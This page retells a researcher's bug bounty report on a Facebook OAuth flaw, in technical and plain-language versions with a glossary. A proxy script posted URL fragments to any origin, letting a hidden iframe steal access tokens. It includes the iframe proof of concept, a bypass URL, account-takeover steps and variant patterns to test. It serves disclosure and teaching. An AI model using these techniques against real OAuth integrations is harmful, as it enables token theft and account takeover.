Facebook OAuth Framework Vulnerability
The Facebook JavaScript SDK's OAuth flow used a proxy page that sent the access token to any origin via postMessage with a wildcard target. An attacker could frame the proxy and steal first-party access tokens for apps, leading to account takeover.
Published on amolbaikar.com
I decided to analyze why I always feel insecure while using the “Login with Facebook” feature. Since they used multiple redirect URLs.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Facebook's "Login with Facebook" button is built on the OAuth 2.0 Authorization Protocol: tokens are exchanged between facebook.com and a third-party website. The Facebook SDK for JavaScript does not only use the visible dialog flow. On initialisation it creates a proxy iframe for cross-domain communication, and the token, code or a not_authorized / unknown status is passed back to the embedding page through the postMessage() API.
The endpoint behind that proxy is /connect/ping, which issues a user access token and sets the redirect URL to XD_Arbiter, a destination whitelisted by default for every application. The normal login flow URL looks like this:
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com
The author's starting observation was that the feature always felt insecure, because multiple redirect URLs are involved. The bug he eventually found had been present, judging by Google and StackOverflow hints, for roughly nine to ten years.
Setup
No special accounts, roles or tooling are described. The work is client-side: a custom JavaScript SDK page, a browser, and the public Facebook endpoints. The preconditions that matter are the ones the attack depends on:
- The
xd_arbiterresponse can be framed, because theX-Frame-Optionsheader is missing.
Finding it
The /connect/ping endpoint was well protected against the previously known classes of bug: parameter pollution, origin validation, redirection through #!, and so on. Many bypass attempts were rejected. The only modification that was accepted was a path change, from xd_arbiter.php?v=42 to xd_arbiter/?v=42, and it was also possible to append further directories or parameters, though not path traversal.
Stealing a token from a hash fragment is difficult on its own, so the missing piece was a proxy framework that would take the hash and forward it. The author found one in his drafts: a resource called page_proxy.
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
That file contained exactly the code needed:
var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");
It reads the fragment of its own URL, splits on #, and posts the second part to the parent window with "*" as the target origin. The resource has an EventListener property; when its condition check fails to fulfil the request, the code falls through to this postMessage() with frameName to any origin. That is an incorrect configuration, or at best bad practice.
Exploitation
Step 1: Combine page_proxy with xd_arbiter
The two resources were simply joined. The base resources are:
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42
and the combined path is:
https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42
Two properties of this flow were important. First, the X-Frame-Options header was missing, so the flow was completely framable. Second, the code uses window.parent, which reduces the required user interaction to zero: no window.open and no button onClick event is needed.
Step 2: Rewrite the custom SDK
The attacker page builds the exploit URL from an application ID and a target domain, creates a hidden iframe pointing at it, and listens for the message:
var app_id = '124024574287414',
app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
alert(FB.data.name);
}, !1);
The listener receives the posted data and reads FB.data.name.
With this, the cross-domain communication is exposed and the access token can leak to any origin without the victim's knowledge, which potentially compromises the user account.

Step 3: From token to account takeover
With first-party GraphQL tokens leaked, it is possible to issue mutation calls that add and confirm a new phone number for account recovery. Those tokens are whitelisted for GraphQL queries and do not go through permission checks, and they carry full read and write privileges over messages, photos and videos, even where the privacy control is set to "only me".
Root cause
The mistake is in page_proxy: it takes the fragment of its own URL and posts it to window.parent with a wildcard target origin. Any page that can frame the resource receives the value, and the value is the token-bearing fragment produced by the OAuth flow.
Impact
A person visiting an attacker-controlled website could have had their first-party access tokens stolen for vulnerable apps that use Facebook's OAuth flow.
Fix
Within a few hours of the report, Facebook acknowledged the issue and pushed a fix:
- The
/connect/pingendpoint was deprecated and permanently revoked from generating access tokens for all applications. - A
__d("JSSDKConfig")line was added inXD_Arbiterto break JavaScript execution inpage_proxy.
The mitigation was incomplete
Both parties knew that the OAuth core endpoint /dialog/oauth/ still redirected with a token to page_proxy. The author asked for those endpoints to be patched too, but Facebook replied that xd_arbiter is whitelisted and that the team believed the changes in the page_proxy resource also mitigated the issue, so the token could not be leaked.
Two or three days later the author revisited the page_proxy code and found that the __d("JSSDKConfig") line had been moved to the bottom, so the call to postMessage() could execute again. He did not fully analyse the changes, but his guess is that prepending the mitigation code would have broken other resources, including the arbiter itself, which is why the line was shifted down. He rebuilt the setup immediately.
www.facebook.com does not follow the redirect status to xd_arbiter; instead it creates a closed_window and posts a message for the client origin, which fails the attack. The same rule applies to m, mobile, touch and similar subdomains on Chrome, but not on Firefox. The mbasic.facebook.com domain, however, responded with an HTTP 302 redirect header and worked in all browsers:
https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F
The bypass was fixed as follows:
- Any modification or tampering with
xd_arbiteris no longer allowed; only the absolute file path"xd_arbiter.php"is accepted. - The
7SWBAvHenEn.jsresource file was removed from the server. - A regex validation filter was added in another JavaScript resource.
Timeline
| Date | Event |
|---|---|
| 16 Dec 2019 | Initial report sent |
| 16 Dec 2019 | Report acknowledged |
| 16 Dec 2019 | Fix pushed by Facebook |
| 23 Dec 2019 | Fix confirmed by Facebook |
| 03 Jan 2020 | Bypass sent, full setup |
| 10 Jan 2020 | Bounty awarded by Facebook |
| 10 Jan 2020 | Bypass acknowledged |
| 10 Jan 2020 | Fix pushed for the bypass |
| 17 Jan 2020 | Fix confirmed by Facebook |
| 21 Feb 2020 | $55,000 combined bounty awarded, the highest bounty for a client-side account takeover |
Variants to test
- Wildcard
postMessagein any proxy or relay script. Search JavaScript resources forpostMessage(with"*"as the target origin, especially files that readlocation.hashorlocation.href. A positive result is a resource that forwards a fragment or query value towindow.parentorwindow.openerwithout an origin check. - Path concatenation on whitelisted redirect paths. Try inserting extra directories or parameters into a whitelisted redirect path, as with
xd_arbiter.phpbecomingxd_arbiter/r/<file>.js. - Missing
X-Frame-Optionson token-issuing endpoints. Frame the OAuth redirect endpoint directly. - Subdomain and User-Agent differences in redirect handling. Compare
www,m,mobile,touchandmbasicacross browsers. - Mitigation placement in shared resources. After a fix lands, re-read the patched file and check whether the guard still runs before the sink.
What happened, in plain words
Facebook lets other websites put a "Login with Facebook" button on their pages. When you click it, Facebook and the other website need to swap a piece of data that proves who you are. That swap is done with a set of rules called OAuth 2.0. The researcher who wrote this report spent time looking at that flow because it always felt fragile to him: several different web addresses are involved in redirecting you from one place to another, and each redirect is a chance for something to go wrong.
The bug he found was not in the login button you see. It was in a hidden helper that Facebook's JavaScript code loads in the background. Instead, it would hand the value to any page that asked, including a page controlled by an attacker.
The researcher estimates, based on Google and StackOverflow hints, that the flaw had been there for about nine to ten years. The report was published on 1 March 2020.
Background: what OAuth and tokens are
Before the details, a few ideas from zero.
- OAuth 2.0 is a set of rules that lets one website ask another website for permission to act on your behalf, without you giving it your password. Think of a hotel key card: the front desk (Facebook) gives the card (a token) to a guest (the third-party site), and the guest uses the card to open doors, but the card is not the master key and can be cancelled.
- An access token is that key card in software form. It is a long string of characters that a server accepts as proof that the bearer is allowed to do something. Anyone who holds the token can use it, so it must be kept secret.
- An API (Application Programming Interface) is a way for one piece of software to talk to another. A restaurant menu is a common comparison: you do not walk into the kitchen, you order from a list of dishes the kitchen is willing to make. Facebook's API is the list of requests a website is allowed to send to Facebook.
- GraphQL is a style of API where the caller describes exactly what data it wants in one request. Facebook uses it internally for many things, including reading and writing messages, photos and videos.
- An iframe is a small window inside a web page that loads another web page. It is how a site can show a Facebook login box without sending you to facebook.com.
postMessage()is a browser function that lets one window send a message to another window, even when they are on different domains. The sender says what to send and which origin is allowed to receive it. If the sender uses"*"as the target origin, any page that can listen will receive the message. That is the equivalent of shouting a secret across a crowded room instead of whispering it to one person.- Cross-domain communication means two pages on different domains (for example,
www.domain.comandfacebook.com) talking to each other. Browsers normally block this for safety, sopostMessage()is the approved way to do it. - A hash fragment is the part of a URL after the
#symbol. It is not sent to the server; it stays in the browser. It is often used to carry values between pages on the client side. X-Frame-Optionsis a response header a server can send to say "do not put this page inside an iframe". If it is missing, any site can frame the page.- A redirect is when a server answers a request by telling the browser to go somewhere else. The status code 302 is the common "found elsewhere, go there" answer.
- A User-Agent is the string a browser sends to identify itself (Chrome, Firefox, and so on). Servers can behave differently depending on it.
- A subdomain is a prefix on a domain, such as
m.facebook.comormbasic.facebook.com.
With those in hand, the report's story makes sense.
The normal login flow
Facebook's JavaScript SDK (a library a website includes to get the login button and related features) does not only show the visible dialog. When it starts up, it creates a hidden iframe that acts as a go-between for cross-domain messages. The token, or a status such as not_authorized or unknown, is passed back to the page that embedded the SDK through postMessage().
The endpoint behind that go-between is /connect/ping. It issues a user access token and sets the redirect URL to XD_Arbiter, a destination that is whitelisted by default for every application. Here is what the normal login flow URL looks like:
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com
Line by line, in plain words:
https://www.facebook.com/connect/pingis the address of the endpoint that hands out the token.client_id=APP_IDidentifies which application is asking. Every Facebook app has an ID number.redirect_uri=tells Facebook where to send the result afterwards. The value is URL-encoded, which is why it is full of%3Aand%2Finstead of:and/.
Finding it
The /connect/ping endpoint was well protected against the previously known classes of bug: parameter pollution (sending the same parameter twice to confuse the server), origin validation (checking who is asking), redirection through #!, and so on. The researcher tried many bypasses and they were all rejected.
The only modification that was accepted was a small path change: from xd_arbiter.php?v=42 to xd_arbiter/?v=42. It was also possible to append further directories or parameters, though not path traversal (using ../ to climb out of a directory).
Stealing a token from a hash fragment is hard on its own, because the fragment stays in the browser and is not sent to any server. So the missing piece was a helper that would take the fragment and forward it somewhere the attacker could read. The researcher found one in his own notes: a resource called page_proxy.
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
That file contained exactly the code needed:
var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");
Line by line:
var frameName = window.location.href.split("#")[1];takes the full URL of the current page, splits it at the#character, and stores the second piece (the part after the#) in a variable calledframeName. If the URL is.../page.js#abc, thenframeNamebecomesabc.window.parent.postMessage(frameName,"*");sends that value to the window that contains this page (the parent frame), with"*"as the target origin. The"*"means "any origin may receive this".
The resource has an EventListener property. When its condition check fails to fulfil the request, the code falls through to this postMessage() with frameName to any origin. That is an incorrect configuration, or at best bad practice: a helper that is supposed to relay a value to one trusted page will relay it to anyone.
Exploitation
Step 1: Combine page_proxy with xd_arbiter
The two resources were simply joined. The base resources are:
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42
and the combined path is:
https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42
What this does, in plain words: the first URL is the helper that forwards whatever follows a #. The second URL is the arbiter, the go-between that receives the token.
Two properties of this flow were important:
- The
X-Frame-Optionsheader was missing, so the flow was completely framable. Any site could put it in an iframe. - The code uses
window.parent, which reduces the required user interaction to zero: nowindow.openand no buttononClickevent is needed.
Step 2: Rewrite the custom SDK
The attacker page builds the exploit URL from an application ID and a target domain, creates a hidden iframe pointing at it, and listens for the message:
var app_id = '124024574287414',
app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
alert(FB.data.name);
}, !1);
Line by line:
var app_id = '124024574287414',sets the target application's ID. This is the app whose token the attacker wants.var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=...' + app_domain;builds the full URL. Theclient_idis the target application, and theredirect_uripoints at the combinedxd_arbiter/page_proxypath, with the origin fragment set to the target domain. The%3F,%3D,%23and%25sequences are URL-encoded?,=,#and%.var i = document.createElement('iframe');creates a new iframe element in the page.i.setAttribute('id', 'i');gives it an id, so it can be referred to later.i.setAttribute('style', 'display:none;');hides it, so the victim sees nothing.i.setAttribute('src', exploit_url);points the iframe at the exploit URL.document.body.appendChild(i);puts the iframe into the page, which makes the browser load it.window.addEventListener('OAuth', function(FB) {registers a listener for messages labelledOAuth.}, !1);closes the listener.!1is just a short way of writingfalse.
With this, the cross-domain communication is exposed and the access token can leak to any origin without the victim's knowledge, which potentially compromises the user account.

Step 3: From token to account takeover
With first-party GraphQL tokens leaked, it is possible to issue mutation calls that add and confirm a new phone number for account recovery. A mutation is a GraphQL request that changes data rather than just reading it. Those tokens are whitelisted for GraphQL queries and do not go through permission checks, and they carry full read and write privileges over messages, photos and videos, even where the privacy control is set to "only me".
Root cause
The mistake is in page_proxy: it takes the fragment of its own URL and posts it to window.parent with a wildcard target origin. Any page that can frame the resource receives the value, and the value is the token-bearing fragment produced by the OAuth flow.
Impact
A person visiting an attacker-controlled website could have had their first-party access tokens stolen for vulnerable apps that use Facebook's OAuth flow.
Fix
Within a few hours of the report, Facebook acknowledged the issue and pushed a fix:
- The
/connect/pingendpoint was deprecated and permanently revoked from generating access tokens for all applications. - A
__d("JSSDKConfig")line was added inXD_Arbiterto break JavaScript execution inpage_proxy.
In plain words: the first change turns off the tap that was handing out tokens through this route.
The mitigation was incomplete
Both parties knew that the OAuth core endpoint /dialog/oauth/ still redirected with a token to page_proxy. The researcher asked for those endpoints to be patched too, but Facebook replied that xd_arbiter is whitelisted and that the team believed the changes in the page_proxy resource also mitigated the issue, so the token could not be leaked.
Two or three days later the researcher revisited the page_proxy code and found that the __d("JSSDKConfig") line had been moved to the bottom, so the call to postMessage() could execute again. He did not fully analyse the changes, but his guess is that prepending the mitigation code would have broken other resources, including the arbiter itself, which is why the line was shifted down. He rebuilt the setup immediately.
www.facebook.com does not follow the redirect status to xd_arbiter; instead it creates a closed_window and posts a message for the client origin, which fails the attack. The same rule applies to m, mobile, touch and similar subdomains on Chrome, but not on Firefox. The mbasic.facebook.com domain, however, responded with an HTTP 302 redirect header and worked in all browsers:
https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F
Line by line:
client_id=124024574287414is the same target application ID as before.redirect_uri=again points at the combinedxd_arbiter/page_proxypath, with the origin fragment set towww.instagram.com.
The bypass was fixed as follows:
- Any modification or tampering with
xd_arbiteris no longer allowed; only the absolute file path"xd_arbiter.php"is accepted. - The
7SWBAvHenEn.jsresource file was removed from the server. - A regex validation filter was added in another JavaScript resource.
Timeline
| Date | Event |
|---|---|
| 16 Dec 2019 | Initial report sent |
| 16 Dec 2019 | Report acknowledged |
| 16 Dec 2019 | Fix pushed by Facebook |
| 23 Dec 2019 | Fix confirmed by Facebook |
| 03 Jan 2020 | Bypass sent, full setup |
| 10 Jan 2020 | Bounty awarded by Facebook |
| 10 Jan 2020 | Bypass acknowledged |
| 10 Jan 2020 | Fix pushed for the bypass |
| 17 Jan 2020 | Fix confirmed by Facebook |
| 21 Feb 2020 | $55,000 combined bounty awarded, the highest bounty for a client-side account takeover |
Variants to test
If you want to look for similar problems, these are the patterns the report points at.
- Wildcard
postMessagein any proxy or relay script. Search JavaScript resources forpostMessage(with"*"as the target origin, especially files that readlocation.hashorlocation.href. A positive result is a resource that forwards a fragment or query value towindow.parentorwindow.openerwithout an origin check. - Path concatenation on whitelisted redirect paths. Try inserting extra directories or parameters into a whitelisted redirect path, as with
xd_arbiter.phpbecomingxd_arbiter/r/<file>.js. - Missing
X-Frame-Optionson token-issuing endpoints. Frame the OAuth redirect endpoint directly. - Subdomain and User-Agent differences in redirect handling. Compare
www,m,mobile,touchandmbasicacross browsers. - Mitigation placement in shared resources. After a fix lands, re-read the patched file and check whether the guard still runs before the sink.
Glossary
- Access token: a long string that a server accepts as proof that the bearer may act on someone's behalf. Like a hotel key card: it opens doors but is not the master key.
- API (Application Programming Interface): a defined way for one piece of software to ask another for data or actions, like ordering from a menu instead of walking into the kitchen.
- Bounty: a payment a company makes to a researcher who reports a security problem responsibly.
client_id: the identifier of an application in OAuth, telling the server which app is asking.closed_window: a window reference that has been closed, used here as part of Facebook's redirect handling.- Cross-domain communication: two pages on different domains exchanging data, normally blocked by browsers except through approved channels such as
postMessage(). display:none: a CSS style that hides an element, so the iframe is invisible to the victim.- Endpoint: a specific URL on a server that performs a particular function.
- EventListener: a browser mechanism that runs a function when a named event occurs, such as a message arriving.
- GraphQL: an API style where the caller describes exactly what data it wants in one request.
- Hash fragment: the part of a URL after
#. It stays in the browser and is not sent to the server. - HTTP 302: a status code meaning "the thing you asked for is elsewhere, go there".
- Iframe: a small window inside a web page that loads another page.
- Mutation (GraphQL): a request that changes data rather than only reading it.
- OAuth 2.0: a set of rules that lets one site act on your behalf at another site without you handing over your password.
- Origin: the combination of scheme, host and port that identifies where a page came from, for example
https://www.domain.com. - Parameter pollution: sending the same parameter more than once to confuse a server about which value to use.
- Path traversal: using
../in a path to climb out of the intended directory. postMessage(): a browser function that sends a message from one window to another, with a target origin that says who may receive it."*"means anyone.- Proxy iframe: a hidden iframe used as a go-between for messages between pages on different domains.
- Redirect: a server answer that tells the browser to go to a different URL.
- Regex validation filter: a check that compares input against a pattern and rejects anything that does not match.
- SDK (Software Development Kit): a bundle of code a developer includes to use a service's features, such as the Facebook login button.
- Subdomain: a prefix on a domain, such as
m.facebook.comormbasic.facebook.com. - Token: see access token.
- User-Agent: the string a browser sends to identify itself, such as Chrome or Firefox.
window.parent: the window that contains the current page, used when a page is inside an iframe.X-Frame-Options: a response header that tells browsers whether a page may be shown inside an iframe.- XD_Arbiter: Facebook's whitelisted go-between page that receives the OAuth result and passes it back to the embedding site.